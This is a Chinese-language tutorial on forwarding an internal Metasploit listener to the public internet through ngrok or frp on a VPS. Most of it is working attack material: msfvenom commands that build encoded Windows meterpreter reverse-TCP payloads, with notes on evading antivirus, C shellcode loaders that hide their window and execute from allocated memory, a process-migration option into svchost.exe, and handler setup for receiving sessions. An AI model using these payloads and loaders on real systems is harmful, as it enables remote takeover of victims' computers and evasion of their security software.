0x01、前言
在***測試的環節中,MSF可以說是老生常談的必會工具之一,有的時候內網的MSF並不能滿足我們的使用需求,此時我們需要藉助一些方法來進行端口轉發,這裏簡單的介紹下如何將內網中的MSF轉發到公網。
0x02、常見的兩種轉發方式
方法①:使用Ngrok內網映射
首先我們需要有一個Ngrok官網的賬戶,官網地址:https://ngrok.com/,註冊好後,首先下載一個Ngrok軟件,下載地址:https://ngrok.com/download
下載完成後,將軟件複製到kali,解壓後執行下圖中的命令(ngrok官網會分配你個key)
ngrok
ngrok-kali
接下來就很簡單了,如果想將本地的http服務轉發到公網,那麼可以執行下列命令,然後會將http服務轉發到公網的ngrok域名上
./ngrok http 80
ngrok1
www
ok,試完了http,我們來將tcp轉發
./ngrok tcp 8888
tcp
接下來,我們使用msf生成一個***測試下
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=***機IP LPORT=***機端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 15 -f exe -o payload.exe
這裏簡單說下***的參數:
-p 選擇指定payload
–e 選擇制定編碼器(不同編碼器免殺效果也有不同,部分編碼器應對火絨等殺軟效果顯著)
-i 編碼次數
-b 去處多餘/壞字符,lhost是你申請的ngrok服務器地址 lport是自定義的遠程端口
-f 生成指定格式
-a 選擇架構平臺,包括x86 | x64 | x86_64
–platform 選擇系統類型
當然也可以生成c的shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=***機IP LPORT=***機端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 15 -f c
shellcode
使用VC++6.0對下面的代碼進行編譯
#include <stdio.h>
#pragmacomment( linker, “/subsystem:”windows” /entry:”mainCRTStartup”")//運行時不顯示窗口
unsignedchar buf[] =
“buf數組”;//將複製的數組粘貼到此處
main()
{
((void(*)(void))&buf)();
}
迴歸正題,使用msf監聽模塊監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 8888
exploit
meterpreter獲取會話
msf
方法②:使用frp+vps內網映射
首先需要去gihub下載frp :https://github.com/fatedier/frp/releases 這裏我下載的linux 64的版本(因爲服務器是linux),下載後分別放到本地kali和服務器上,解壓後,然後分別去配置:
服務端配置frps.ini文件:
bind_addr = 0.0.0.0 //填0.0.0.0即可意爲本機ip
bind_port = 6531 //frp連接端口
dashboard_addr = 0.0.0.0 //填0.0.0.0即可意爲本機ip
dashboard_port = 7500 //網頁訪問端口
dashboard_user = admin //用戶名
dashboard_pwd = crlf //密碼
token = crlf //frp連接口令
配置完成後,啓動服務端
方法一:./frps - c frps.ini //前臺啓動,可以看到詳細的監聽xinxi
方法二:nohup ./frps -c frps.ini > log.txt & //後臺啓動
frp
啓動成功後可以通過網頁端訪問來查看
web
接下來配置客戶端kali的frpc.ini
[common]
server_addr = 66.23.x.x //vps的ip
server_port = 6531 //連接frp的端口
token = crlf //連接frp口令
[msf]
type = tcp //tcp協議
local_ip = 127.0.0.1 //填127.0.0.1即可
local_port = 6759 //轉發到vps的點端口
remote_port = 6000 //訪問端口
運行 ./frpc -c frpc.ini
frp_c
ok,接下來使用上面的msfvenom 生成測試***
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=***機IP LPORT=***機端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 15 -f exe -o payload.exe
也可以使用shellcode
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=遠程服務端ip
LPORT=遠程服務端端口 -e x86/shikata_ga_nai -i 15 -b 'x00' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > shellcode.c
PrependMigrate=true、PrependMigrateProc=svchost.exe 使***程序會遷移到svchost.exe進程
也可以使用windows/meterpreter/reverse_tcp_rc4這個payload,進行會話加密,增加免殺能力
使用vc++6.0創建32位的項目並編譯
#include<stdio.h>
#include<windows.h>
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //去除窗口
unsigned char shellcode[]=
"這裏放生成的shellcode"
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
最後啓動msf,等待上線
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 6759 // 本機轉發端口